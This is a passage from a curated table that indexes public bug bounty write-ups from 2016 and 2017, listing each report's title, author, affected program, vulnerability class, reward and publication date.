[How to confirm a Google user’s specific email address (Bug Bounty
Submission)](http://www.tomanthony.co.uk/blog/confirm-google-users-email/) |
Tom Anthony | Google | Logic flaw | $0 | 08/09/2017
[XSS Because of wrong Content-type
Header](https://bugbaba.blogspot.com/2017/08/xss-because-of-wrong-content-type-header.html) | [Noman Shaikh](https://twitter.com/nomanali181?lang=en) |
Internshala | XSS | - | 08/04/2017
[Business Logic Vulnerabilities Series: How I became invisible and immune to
blocking on Instagram!](https://www.seekurity.com/blog/general/business-logic-vulnerabilities-series-how-i-became-invisible-and-immune-to-blocking-on-instagram/) | [Ali Kabeel](https://www.facebook.com/black.hell.shell) |
Facebook | Logic flaw | - | 07/31/2017
[How i found massive information disclosure of 1500 famous
people](https://medium.com/@valeriyshevchenko/massive-information-disclosure-of-1500-famous-people-b1b950fa657) | Valeriy Shevchenko | - | Information
disclosure | - | 07/31/2017
[Referer Based XSS](https://medium.com/@arbazhussain/referer-based-xss-52aeff7b09e7) | [Arbaz Hussain](https://twitter.com/ArbazKiraak) | - | XSS
| - | 07/30/2017
[How we invented the Tesla DOM DOOM
XSS](https://labs.detectify.com/2017/07/27/how-we-invented-the-tesla-dom-doom-xss/) | [Detectify Labs](https://labs.detectify.com) | Tesla | DOM XSS | - |
07/27/2017
[Disabling New Emails From Facebook Without Email Owner
Interaction](https://medium.com/@zahidali_93675/disabling-new-emails-from-facebook-without-email-owner-interaction-11c979778a68) | Zahid Ali | Facebook
| Logic flaw, Authorization flaw | $0 | 07/26/2017
[Rolling around and Bypassing Facebook’s Linkshim protection on
iOS](https://www.seekurity.com/blog/general/rolling-around-and-bypassing-facebook-linkshim-protection-on-ios/) | [Seif
Elsallamy](https://twitter.com/seifelsallamy) | Facebook | Open redirect | $0
| 07/26/2017
[Stored XSS on Rockstar Game](https://medium.com/@arbazhussain/stored-xss-on-rockstar-game-c008ec18d071) | [Arbaz Hussain](https://twitter.com/ArbazKiraak)
| Rockstar Games | XSS | $1,000 | 07/26/2017
[Open Redirect In Flock | My First Swag
pack](https://bugbaba.blogspot.com/2017/07/open-redirect-in-flock-my-first-swag.html) | [Noman Shaikh](https://twitter.com/nomanali181?lang=en) | Flock |
Open redirect | - | 07/24/2017
[May the Shells be with You - A Star Wars RCE
Adventure!](https://blog.zsec.uk/rce-starwars/) | [Andy
Gill](https://twitter.com/ZephrFish) | - | RCE | - | 07/22/2017
[How i was able to bypass strong xss protection in well known website.
(imgur.com)](https://medium.com/bugbountywriteup/how-i-was-able-to-bypass-strong-xss-protection-in-well-known-website-imgur-com-8a247c527975) | [Armaan
Pathan](https://twitter.com/armaancrockroax) | Imgur | XSS | $250 | 07/21/2017
[Missing Authorization check in Facebook Pages
Manager](https://medium.com/@arbazhussain/missing-authorization-check-in-facebook-pages-manager-9f7bd879ff33) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | Facebook | Authorization flaw |
$1,000 | 07/20/2017
[Race Condition bypassing team limit](https://medium.com/@arbazhussain/race-condition-bypassing-team-limit-b162e777ca3b) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | Race condition | - |
07/20/2017
[Self XSS to Good XSS Clickjacking](https://medium.com/@arbazhussain/self-xss-to-good-xss-clickjacking-6db43b44777e) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | Race condition | $300 |
07/20/2017
[Business Logic Vulnerabilities Series: A brief on Abusing Invitation
Systems](https://www.seekurity.com/blog/general/business-logic-vulnerabilities-series-a-brief-on-abusing-invitation-systems/) | [Ali
Kabeel](https://www.facebook.com/black.hell.shell) | Facebook | Logic flaw | -| 07/19/2017
[That Escalated Quickly : From partial CSRF to reflected XSS to complete CSRF
to Stored XSS](https://medium.com/@ciph3r7r0ll/that-escalated-quickly-from-partial-csrf-to-reflected-xss-to-complete-csrf-to-stored-xss-6ba8103069c2) |
[Mandeep Jadon (@1337tr0lls)](https://twitter.com/1337tr0lls) | - | CSRF,
Reflected XSS, Stored XSS | - | 07/19/2017
[Xss using dynamically generated js
file](https://medium.com/@arbazhussain/xss-using-dynamically-generated-js-file-a7a10d05ff08) | [Arbaz Hussain](https://twitter.com/ArbazKiraak) | - |
XSS | $150 | 07/19/2017
[Exploiting Misconfigured CORS on popular BTC
Site](https://medium.com/@arbazhussain/exploiting-misconfigured-cors-on-popular-btc-site-2aedfff906f6) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | CORS flaw | - | 07/19/2017
[Stealing Access Token of One-drive Integration By Chaining CSRF
Vulnerability](https://medium.com/@arbazhussain/stealing-access-token-of-one-drive-integration-by-chaining-csrf-vulnerability-779f999624a7) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | OAuth flaw, CSRF | - |
07/18/2017
[IDOR While Connecting Social Account in
Hackster.io](https://medium.com/@arbazhussain/idor-while-connecting-social-account-in-hackster-io-2296b316b7a7) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | Hackster.io | IDOR | - |
07/18/2017
[Bypassing XSS Filtering at Anchor
Tag](https://medium.com/@arbazhussain/bypassing-xss-filtering-at-anchor-tags-706dde7b8090) | [Arbaz Hussain](https://twitter.com/ArbazKiraak) | - |
XSS | $500 | 07/18/2017
[ctrl+c & ctrl+v to Steal
SESSIONID](https://medium.com/@arbazhussain/ctrl-d5ffc7b0640e) | [Arbaz
Hussain](https://twitter.com/ArbazKiraak) | - | Clickjacking | $100 |
07/18/2017
[How to find internal subdomains? YQL, Yahoo! and bug
bounty.](https://hackernoon.com/how-to-find-internal-subdomains-yql-yahoo-and-bug-bounty-d7730b374d77) | Wojciech | Yahoo | Information disclosure | $0 |
07/16/2017
[Hey UserID x, what’s your secret token? Broken API enables me to leak/modify
any users personal information](https://medium.com/@zseano/fun-with-mobile-apps-broken-api-leads-to-leak-of-millions-of-personal-information-e7eb0b9dcce7) | [@zseano](https://twitter.com/zseano) | - | IDOR,
Account takeover | - | 07/13/2017
[Fabric.io API permission apocalypse – Privilege
Escalations](https://wesecureapp.com/blog/fabric-io-api-permission-apocalypse-privilege-escalations/) | [wesecureapp](https://twitter.com/wesecureapp) |
Twitter | Authorization flaw, Account takeover | - | 07/10/2017
[How we tookover shopify accounts with one single
click](https://wesecureapp.com/blog/how-we-tookover-shopify-accounts-with-one-single-click/) | [wesecureapp](https://twitter.com/wesecureapp) | Shopify |
Stored XSS | - | 07/10/2017
[XSS by tossing cookies](https://wesecureapp.com/blog/xss-by-tossing-cookies/)
| [wesecureapp](https://twitter.com/wesecureapp) | Microsoft, Twitter | XSS |
- | 07/10/2017
[How a simple IDOR become a $4K User Impersonation
vulnerability](https://shahmeeramir.com/how-a-simple-idor-become-a-4k-user-impersonation-vulnerability-705291b55c0d) | [Shahmeer Amir
(@Shahmeer_Amir)](https://twitter.com/Shahmeer_Amir) | - | IDOR | $4,250 |
07/08/2017
[Coinbase AngularJS DOM XSS via
Kiteworks](http://www.paulosyibelo.com/2017/07/coinbase-angularjs-dom-xss-via-kiteworks.html) | [Pauloas yibelo](https://twitter.com/PaulosYibelo) |
Coinbase | DOM XSS | - | 07/08/2017
[Medium Content Spoofing Leads to XSS](https://ahussam.me/Medium-content-spoofing-xss/) | [Abdullah Hussam
(@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Medium | Content
spoofing, Stored XSS | - | 07/08/2017
[Managed Apps and Music: a tale of two XSSes in Google
Play](https://ysx.me.uk/managed-apps-and-music-a-tale-of-two-xsses-in-google-play/) | [Yasin Soliman (@SecurityYasin)](https://twitter.com/SecurityYasin) |
Google | XSS | - | 07/07/2017
[Making an XSS triggered by CSP bypass on
Twitter.](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5) | tbmnull | Twitter | XSS, CSP bypass | - |
07/06/2017
[OpenProject Session Management Security Vulnerability aka
CVE-2017-11667](https://www.seekurity.com/blog/general/openproject-session-management-security-vulnerability/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | OpenProject | Improper session
management | - | 06/30/2017
[Posting on groups as people whenever their email was known by an
attacker](https://medium.com/@zahidali_93675/posting-on-groups-as-people-whenever-their-email-was-known-by-an-attacker-9dc8d7baf970) | Zahid Ali |
Facebook | Authorization flaw | $7,500 | 06/29/2017
[Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File
Read](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/) | [Brett
Buerhaus](https://twitter.com/bbuerhaus) | - | XSS, SSRF, LFI | - | 06/29/2017
[CVE-2017-10711: Reflected XSS vulnerability in SimpleRisk – Open Source Risk
Management System](https://www.seekurity.com/blog/general/reflected-xss-vulnerability-in-simplerisk/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | SimpleRisk | Reflected XSS | - |
06/28/2017
[Road to (unauthenticated) recovery: downloading GitHub SSO bypass
codes](https://ysx.me.uk/road-to-unauthenticated-recovery-downloading-github-saml-codes/) | [Yasin Soliman
(@SecurityYasin)](https://twitter.com/SecurityYasin) | Github | Authorization
flaw | - | 06/25/2017
[Authentication bypass on Uber’s Single Sign-On via subdomain
takeover](https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/) | [Arne Swinnen](https://twitter.com/ArneSwinnen)
| Uber | Subdomain takeover, Authentication bypass | $4,500 | 06/25/2017
[Stored XSS in the heart of the Russian email provider giant
(Mail.ru)](https://www.seekurity.com/blog/general/stored-xss-in-the-heart-of-the-russian-email-provider-giant-mail-ru/) | [Seif
Elsallamy](https://twitter.com/seifelsallamy) | Mail.ru | Stored XSS | $600 |
06/24/2017
[How I Built An XSS Worm On
Atmail](https://www.bishopfox.com/blog/2017/06/how-i-built-an-xss-worm-on-atmail/) | Jake Miller | Atmail | XSS | - | 06/23/2017
[Authentication bypass on Airbnb via OAuth tokens
theft](https://www.arneswinnen.net/2017/06/authentication-bypass-on-airbnb-via-oauth-tokens-theft/) | [Arne Swinnen](https://twitter.com/ArneSwinnen) |
Airbnb | OAuth flaw, Login CSRF, Open redirect, Authentication bypass | $5,000
| 06/22/2017
[How I hacked 23.900.000 tumblr domains at once
:)](https://medium.com/bugbountywriteup/how-i-hack-23-900-000-tumblr-domains-at-once-341edad6e7cc) | [Ak1T4 (@akita_zen)](https://twitter.com/akita_zen) |
Tumblr | IDOR | $0 | 06/19/2017
[XSS on Bugcrowd and so many other website’s main
Domain](https://blog.witcoat.com/2018/05/30/xss-on-bugcrowd-and-so-many-other-websites-main-domain/) | [Bull](https://twitter.com/v0sx9b) | Bugcrowd |
Reflected XSS | $600 | 06/14/2017
[Vulnerability in Metasploit Project aka
CVE-2017-5244](https://www.seekurity.com/blog/general/metasploit-web-project-kill-all-running-tasks-csrf-cve-2017-5244/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Rapid7 | CSRF | - | 06/12/2017
[Godaddy XSS affects parked domains
redirector/processor!](https://www.seekurity.com/blog/write-ups/godaddy-xss-affects-parked-domains-redirector-processor/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | GoDaddy | Reflected XSS | - |
06/11/2017
[Let’s steal some tokens!](https://www.seekurity.com/blog/general/lets-steal-some-tokens/) | [Mahmoud Gamal](https://twitter.com/Zombiehelp54) | Google,
Shopify, [Private program] | CSRF, XSS, Account takeover | $1,000 | 06/11/2017
[WHATSAPP — DOS VULNERABILITY IN IOS &
ANDROID](https://medium.com/bugbountywriteup/whatsapp-dos-vulnerability-in-ios-android-d896f76d3253) | [Vishnu Prasad P
G](https://twitter.com/vishnuprasadnta) | Facebook | DOS | $500 | 06/07/2017
[From JS to another JS files lead to authentication
bypass](http://c0rni3sm.blogspot.com/2017/06/from-js-to-another-js-files-lead-to.html) | [@yappare](https://twitter.com/yappare) | - | Authentication bypass
| - | 06/06/2017
[How I got 5500$ from Yahoo for RCE](https://medium.com/bugbountywriteup/how-i-got-5500-from-yahoo-for-rce-92fffb7145e6) |
[Th3G3nt3lman](https://twitter.com/Th3G3nt3lman) | Yahoo | RCE | $5,500 |
06/04/2017
[Django Privilege Escalation – Zero To
Superuser](https://seanmelia.files.wordpress.com/2017/06/django-privilege-escalation-e28093-zero-to-superuser.pdf) | [Sean
Melia](https://twitter.com/seanmeals) | - | Privilege escalation | - |
06/01/2017
[Pivoting from blind SSRF to RCE with HashiCorp
Consul](http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html) | [Peter
Adkins](https://twitter.com/darkarnium) | - | Blind SSRF, RCE | - | 05/29/2017
[A pair of Plotly bugs: Stored XSS and AWS Metadata
SSRF](https://ysx.me.uk/a-pair-of-plotly-bugs-stored-xss-and-aws-metadata-ssrf/) | [Yasin Soliman (@SecurityYasin)](https://twitter.com/SecurityYasin) |
Plotly | Stored XSS, SSRF | - | 05/25/2017
[Hacking the NHS for Fun and No Profit](https://medium.com/@nmalcolm/hacking-the-nhs-for-fun-and-no-profit-90931029dcb4) | [ Nathan
(@NathOnSecurity)](https://twitter.com/NathOnSecurity) | NHS | SQL injection,
LFI | $0 | 05/22/2017
[One Cloud-based Local File Inclusion = Many Companies
affected](http://panchocosil.blogspot.com/2017/05/one-cloud-based-local-file-inclusion.html) | [Francisco Correa
(@panchocosil)](https://twitter.com/panchocosil) | Oracle Responsys, Facebook,
Linkedin, Dropbox | Directory traversal | - | 05/17/2017
[Find Mingle Suggestions for any Facebook User
(Revisited)](https://philippeharewood.com/find-mingle-suggestions-for-any-facebook-user-revisited/) | [Philippe Harewood](https://twitter.com/phwd) |
Facebook | Logic flaw, Authorization flaw | - | 05/11/2017
[I got emails — G Suite Vulnerability](https://medium.com/@rojanrijal/i-got-emails-g-suite-vulnerability-917e1f6a91f6) | [Rojan
Rijal](https://twitter.com/RojanRijal) | Google, Yelp, Facebook | Logic flaw,
Email takeover | - | 05/05/2017
[Inspect Element leads to Stripe Account Lockout Authentication
Bypass](https://www.jonbottarini.com/2017/04/03/inspect-element-leads-to-stripe-account-lockout-authentication-bypass/) | [Jon Bottarini
(@jon_bottarini)](https://twitter.com/jon_bottarini) | Stripe | Authentication
bypass | $500 | 04/03/2017
[Airbnb – Web to App Phone Notification IDOR to view Everyone’s Airbnb
Messages](https://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/) | [Brett Buerhaus
(@bbuerhaus)](https://twitter.com/bbuerhaus), [Ben Sadeghipour
(@nahamsec)](https://twitter.com/nahamsec) | Airbnb | IDOR | - | 03/31/2017
[Hundreds of hundreds sub-secdomains hack3d! (including
Hacker0ne)](https://medium.com/bugbountywriteup/hundreds-of-hundreds-subdomains-hack3d-including-hacker0ne-ad3acd1c0a44) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | Hackerone | Subdomain takeover
| $1,000 | 03/28/2017
[Critical information disclosure on Wappalyzer.com](https://www.nc-lp.com/blog/critical-information-disclosure-on-wappalyzer-com) | [Davide
Tampellini](https://twitter.com/tampe125) | Wappalyzer | Information
disclosure | - | 03/24/2017
[Near universal XSS in McAfee Web Gateway](https://blog.ettic.ca/near-universal-xss-in-mcafee-web-gateway-cf8dfcbc8fc3) | Olivier Arteau | McAfee |
XSS | - | 03/17/2017
[Penetrating PornHub – XSS vulns galore (plus a cool
shirt!)](https://www.jonbottarini.com/2017/03/16/penetrating-pornhub-xss-vulns-galore-plus-a-cool-shirt/) | [Jon Bottarini
(@jon_bottarini)](https://twitter.com/jon_bottarini) | PornHub | XSS | $250 |
03/16/2017
[Airbnb – Ruby on Rails String Interpolation led to Remote Code
Execution](https://buer.haus/2017/03/13/airbnb-ruby-on-rails-string-interpolation-led-to-remote-code-execution/) | [Brett Buerhaus
(@bbuerhaus)](https://twitter.com/bbuerhaus), [Ben Sadeghipour
(@nahamsec)](https://twitter.com/nahamsec) | Airbnb | RCE | - | 03/13/2017
[Airbnb – Chaining Third-Party Open Redirect into Server-Side Request Forgery
(SSRF) via LivePerson Chat](https://buer.haus/2017/03/09/airbnb-chaining-third-party-open-redirect-into-server-side-request-forgery-ssrf-via-liveperson-chat/) | [Brett Buerhaus
(@bbuerhaus)](https://twitter.com/bbuerhaus), [Ben Sadeghipour
(@nahamsec)](https://twitter.com/nahamsec) | Airbnb | Open redirect, SSRF,
Path traversal | - | 03/09/2017
[Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor
turns into Eight Vulnerabilities](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/) | [Brett Buerhaus
(@bbuerhaus)](https://twitter.com/bbuerhaus), [Ben Sadeghipour
(@nahamsec)](https://twitter.com/nahamsec) | Airbnb | XSS, CSP bypass | - |
03/08/2017
[Ok Google, Give Me All Your Internal DNS
Information!](https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/) | [Julien Ahrens](https://twitter.com/MrTuxracer) |
Google | SSRF | - | 03/01/2017
[Hacking Slack using postMessage and WebSocket-reconnect to steal your
precious token](https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/) | [Frans
Rosén](https://twitter.com/fransrosen) | Slack | postMessage flaw, Violation
of Secure Design Principles | 3,000 | 02/28/2017
[How I got your phone number through
Facebook](https://medium.com/intigriti/how-i-got-your-phone-number-through-facebook-223b769cccf1) | [Inti De Ceukelaire](https://twitter.com/securinti) |
Facebook | Logic flaw | - | 02/20/2017
[How I bypassed State Bank of India OTP.](https://hackernoon.com/how-i-bypassed-state-bank-of-india-otp-f145469a9f1d) | [Neeraj
Sonaniya](https://twitter.com/neeraj_sonaniya) | State Bank of India | OTP
bypass | $0 | 02/20/2017
[How I was able to remove your Instagram Phone
number](https://medium.com/bugbountywriteup/how-i-was-able-to-remove-your-instagram-phone-number-d346515e79c3) | [Neeraj
Sonaniya](https://twitter.com/neeraj_sonaniya) | Facebook | Bruteforce |
$1,000 | 02/20/2017
[From RSS to XXE: feed parsing on Hootsuite](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) | [Yasin Soliman
(@SecurityYasin)](https://twitter.com/SecurityYasin) | Hootsuite | XSS, XXE |
- | 02/17/2017
[ SQL injection in an UPDATE query - a bug bounty story!
](http://zombiehelp54.blogspot.com/2017/02/sql-injection-in-update-query-bug.html) | [Mahmoud Gamal](https://twitter.com/Zombiehelp54) | - | SQL
injection | - | 02/17/2017
[Lightweight markup: a trio of persistent XSS in
GitLab](https://ysx.me.uk/lightweight-markup-a-trio-of-persistent-xss-in-gitlab/) | [Yasin Soliman (@SecurityYasin)](https://twitter.com/SecurityYasin)
| Gitlab | Stored XSS | - | 02/15/2017
[Vulnerabilities in Facebook Login Approval
Form](https://medium.com/@zahidali_93675/vulnerabilities-in-facebook-login-approval-form-dfa5fce92023) | Zahid Ali | Facebook | Authorization flaw, Logic
flaw | $2,250 | 02/14/2017
</tr> [Facebook Account Recovery Form
(CONFLICTING)](https://medium.com/@zahidali_93675/conflict-account-recovery-form-in-facebook-2b6e7d203cfd) | Zahid Ali | Facebook | Logic flaw | $1,000 |
02/13/2017
[Bypassed Facebook Phone Number
Security](https://medium.com/@zahidali_93675/bypassed-facebook-phone-number-security-9e2d34dc063b) | Zahid Ali | Facebook | Authorization flaw, Logic
flaw, Information disclosure | $3,000 | 02/10/2017
[This domain is my domain - G Suite A record
vulnerability](https://whitehatnepal.tumblr.com/post/156959105292/this-domain-is-my-domain-g-suite-a-record) | [White Hats -Nepal](https://whitehatnepal.tumblr.com) | Google, Uber | Subdomain takeover,
Authorization flaw | - | 02/07/2017
[Facebook Groups Hack](https://medium.com/@zahidali_93675/hijack-facebook-groups-721c08526326) | Zahid Ali | Facebook | Authorization flaw, Logic flaw |
$3,000 | 02/04/2017
[Cross Site Request Forgery in
Facebook](https://medium.com/@zahidali_93675/cross-site-request-forgery-in-facebook-86087201d8c) | Zahid Ali | Facebook | CSRF | $1,000 | 02/04/2017
[I got emails - G Suite
Vulnerability](https://whitehatnepal.tumblr.com/post/156707088037/i-got-emails-g-suite-vulnerability) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) / [White Hats -Nepal](https://whitehatnepal.tumblr.com) | Google, Facebook, Yelp | Logic
flaw, Authorization flaw | - | 02/02/2017
[12k$ for simple path traversal on
http://web.whatsapp.com](https://twitter.com/0x01alka/status/826520689595265026)
| [lalka](https://twitter.com/0x01alka/) | Facebook | Path traversal | $12,000
| 01/31/2017
[How I could have compromised any account on one of the biggest startup based
in California](https://medium.com/@prateek_0490/how-i-could-have-compromised-any-account-on-one-of-the-biggest-startup-based-in-california-3ebc8c6844b5) |
[Prateek Tiwari](https://twitter.com/prateek_0490) | - | Account takeover,
IDOR, Password reset flaw | - | 01/28/2017
[0day writeup: XXE in uber.com ](https://httpsonly.blogspot.com/2017/01/0day-writeup-xxe-in-ubercom.html) | - | Uber | XXE | $9,000 | 01/24/2017
[How I could have Hacked IIT Guwahati’s
website](https://medium.com/bugbountywriteup/how-i-could-have-hacked-iit-guwahatis-website-52dff319b056) | [Sai Krishna
Kothapalli](https://twitter.com/kmskrishna) | IIT Guwahati | Unrestricted file
upload | - | 12/09/2017
[My first bug on @facebook bug bounty
program.](https://twitter.com/0x01alka/status/816403077074976768) |
[lalka](https://twitter.com/0x01alka/) | Facebook | SQL injection | - |
01/03/2017
### 4\. Bug bounty writeups published in 2016
Title & URL | Author | Bug bounty program | Vulnerability | Reward $$$ |
Publication date
---|---|---|---|---|---
[IDOR in Facebook’s Acquisition (Parse)](http://www.pranav-venkat.com/2016/12/idor-in-facebooks-acquisition-parse.html?q=bug+bounty) |
[Venkatesh Sivakumar](https://twitter.com/@pranavvenkats) | Facebook | IDOR |
- | 12/11/2016
[The Orphaned Internet – Taking Over 120K Domains via a DNS Vulnerability in
AWS, Google Cloud, Rackspace and Digital Ocean](https://thehackerblog.com/the-orphaned-internet-taking-over-120k-domains-via-a-dns-vulnerability-in-aws-google-cloud-rackspace-and-digital-ocean/index.html) | [Matthew
Bryan](https://twitter.com/IAmMandatory) | Google, Amazon, Rackspace, Digital
Ocean | Domain name takeover | $1,337 | 12/05/2016
[Authentication bypass on Ubiquity’s Single Sign-On via subdomain
takeover](https://www.arneswinnen.net/2016/11/authentication-bypass-on-sso-ubnt-com-via-subdomain-takeover-of-ping-ubnt-com/) | [Arne
Swinnen](https://twitter.com/ArneSwinnen) | Ubiquity Networks | Subdomain
takeover, Authentication bypass | $500 | 11/29/2016
[Bypassing Ebay XSS Protection to launch XSS by Nirmal
Dahal](https://whitehatnepal.tumblr.com/post/153333332112/xssonebay) | Nirmal
Dahal / [White Hats - Nepal](https://whitehatnepal.tumblr.com) | Ebay |
Reflective XSS | - | 11/18/2016
[Svg XSS in Unifi v5.0.2](https://guptashubham.com/svg-xss-in-unifi-v5-0-2/) |
[Shubham Gupta](https://twitter.com/hackerspider1) | Ubiquity Networks |
Stored XSS | - | 11/13/2016
[Stored XSS in UniFi v4.8.12 Controller](https://guptashubham.com/stored-xss-in-unifi-v4-8-12-controller/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Ubiquity Networks | Stored XSS | -| 11/12/2016
[Rewriting a photo not owned by the session user in Moments App
(Revisited)](https://philippeharewood.com/rewriting-a-photo-not-owned-by-the-session-user-in-moments-app-revisited/) | [Philippe
Harewood](https://twitter.com/phwd) | Facebook | Logic flaw, Authorization
flaw | - | 10/27/2016
[Leak Private Videos [Vimeo Bug Bounty]](https://ahussam.me/leak-private-videos-vimeo/) | [Abdullah Hussam
(@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Vimeo | Logic flaw,
Authorization flaw | $0 | 10/23/2016
[Open Redirect Scanner with
Uber.com](https://medium.com/bugbountywriteup/open-redirect-scanner-c72cd60d0bf) | [Ak1T4 (@akita_zen)](https://twitter.com/akita_zen) |
Uber | Open redirect | - | 10/10/2016
[Command Injection Without
Spaces](https://www.betterhacker.com/2016/10/command-injection-without-spaces.html) | [Fyoorer (@ƒyoorer)](https://twitter.com/ƒyoorer) | - | Command
injection | - | 10/02/2016
[gif it time it’ll come to you - Finding More Holes in The
Hub](https://blog.zsec.uk/gif-time-pornhub/) | [Andy
Gill](https://twitter.com/ZephrFish) | Pornhub | XSS | $0 | 10/01/2016
[Persisting on Pornhub](https://blog.zsec.uk/persisting-pornhub/) | [Andy
Gill](https://twitter.com/ZephrFish) | Pornhub | Stored XSS | $1,500 |
09/23/2016
[Link Injection Manipulation at
admin.google.com](https://medium.com/@know.0nix/link-injection-manipulation-at-admin-google-com-6da3b15a2854) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | Google | Link injection | - |
09/23/2016
[Vine Re-auth Bypass [Twitter Bug Bounty]](https://ahussam.me/Vine-Reauth-Bypass/) | [Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam)
| Twitter | Authentication flaw | $420 | 09/21/2016
[ Bug Bounty : Account Takeover Vulnerability
POC](http://blog.rakeshmane.com/2016/09/bug-bounty-account-takeover.html) |
[Rakesh Mane](https://twitter.com/RakeshMane10) | - | OAuth flaw, account
takeover, Stored self-XSS | - | 09/16/2016
[How I snooped into your private Slack messages [Slack Bug bounty worth
$2,500]](https://whitehatnepal.tumblr.com/post/150381068912/how-i-snooped-into-your-private-slack-messages) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) / [White Hats -Nepal](https://whitehatnepal.tumblr.com) | Slack | Subdomain takeover | - |
09/13/2016
[Decoding a $?,000.00 htpasswd bounty](https://blog.it-securityguard.com/bugbounty-decoding-a-%f0%9f%98%b1-00000-htpasswd-bounty/) |
[Patrik Fehrenbach (@ITSecurityguard)](https://twitter.com/ITSecurityguard) |
- | .htpasswd misconfiguration | $x,000 | 09/08/2016
[Internet Explorer has a URL problem](https://blog.innerht.ml/internet-explorer-has-a-url-problem/#rpoingooglefusiontable) | [File
Descriptor](https://twitter.com/filedescriptor) | Github, Google | OAuth flaw,
RPO, XSS | - | 09/06/2016
[Reading Uber’s Internal Emails [Uber Bug Bounty report worth
$10,000]](https://whitehatnepal.tumblr.com/post/149985438982/reading-ubers-internal-emails-uber-bug-bounty) | [White Hats -Nepal](https://whitehatnepal.tumblr.com) | Uber | Subdomain takeover | $10,000
| 09/05/2016
[RCE In AddThis](https://whitehatnepal.tumblr.com/post/149933960267/rce-in-addthis) | [White Hats - Nepal](https://whitehatnepal.tumblr.com) | AddThis |
RCE | - | 09/04/2016
[PornHub: Email Confirmation
Bypass](https://whitehatnepal.tumblr.com/post/149937173467/pornhub-email-confirmation-bypass) | [Vaxo Dai (@___0x00)](https://twitter.com/@___0x00) /
[White Hats - Nepal](https://whitehatnepal.tumblr.com) | PornHub | Email
confirmation bypass | $0 | 09/04/2016
[Turning Self-XSS into Good XSS v2: Challenge Completed but Not Rewarded
](https://httpsonly.blogspot.com/2016/08/turning-self-xss-into-good-xss-v2.html) | - | Uber | XSS, Arbitrary cookie installation | $1,000 |
08/29/2016
[[demo.paypal.com] Node.js code injection
(RCE)](http://artsploit.blogspot.com/) | [Michael Stepankin
(@artsploit)](https://twitter.com/artsploit) | Paypal | RCE | - | 08/19/2016
[Swf XSS (Dom Based Xss)](https://guptashubham.com/swf-xss-dom-based-xss/) |
[Shubham Gupta](https://twitter.com/hackerspider1) | Ubiquiti Networks | Flash
XSS, DOM XSS | - | 07/31/2016
[Xss filter bypass in Yahoo dev.flurry.com](https://guptashubham.com/xss-filter-bypass-in-yahoo-dev-flurry-com/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Yahoo! | XSS | - | 07/31/2016
[XSS on Flickr](https://guptashubham.com/xss-on-flickr/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | Yahoo! | XSS | $400, HoF |
07/31/2016
[CSV Injection -> Meterpreter on Pornhub](https://blog.zsec.uk/csvhub/) |
[Andy Gill](https://twitter.com/ZephrFish) | Pornhub | CSV injection | $500 |
07/29/2016
[Messenger.com Site-Wide CSRF](https://whitton.io/articles/messenger-site-wide-csrf/) | [Jack Whitton](https://twitter.com/fin1te) | Facebook | CSRF | -| 07/26/2016
[BMW Vulnerabilities – Hijack Cars ConnectedDrive™
Service!](https://www.seekurity.com/blog/general/bmw-vulnerabilities-hijack-cars-connecteddrive-service/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | BMW | Clickjacking, CSRF | - |
07/24/2016
[Remote Code Execution (RCE) on Microsoft’s
‘signout.live.com’](http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html) | [Peter
Adkins](https://twitter.com/darkarnium) | Microsoft | RCE | $0 | 07/24/2016
[How we broke PHP, hacked Pornhub and earned
$20,000](https://www.evonide.com/how-we-broke-php-hacked-pornhub-and-earned-20000-dollar/) | [Ruslan Habalov](https://twitter.com/evonide),
[cutz](https://twitter.com/@_cutz) & [Dario
Weißer](https://twitter.com/haxonaut) | Pornhub | RCE, Use-after-free |
$20,000 | 07/23/2016
[Stealing Facebook access_tokens using CSRF in device login
flow](https://www.josipfranjkovic.com/blog/hacking-facebook-csrf-device-login-flow) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Facebook |
CSRF, OAuth flaw, Information disclosure | - | 07/19/2016
[How I Could Steal Money from Instagram, Google and
Microsoft](https://www.arneswinnen.net/2016/07/how-i-could-steal-money-from-instagram-google-and-microsoft/) | [Arne
Swinnen](https://twitter.com/ArneSwinnen) | Google, Microsoft, Facebook |
Logic flaw | $2,500 | 07/15/2016
[Race conditions on the web](https://www.josipfranjkovic.com/blog/race-conditions-on-web) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) |
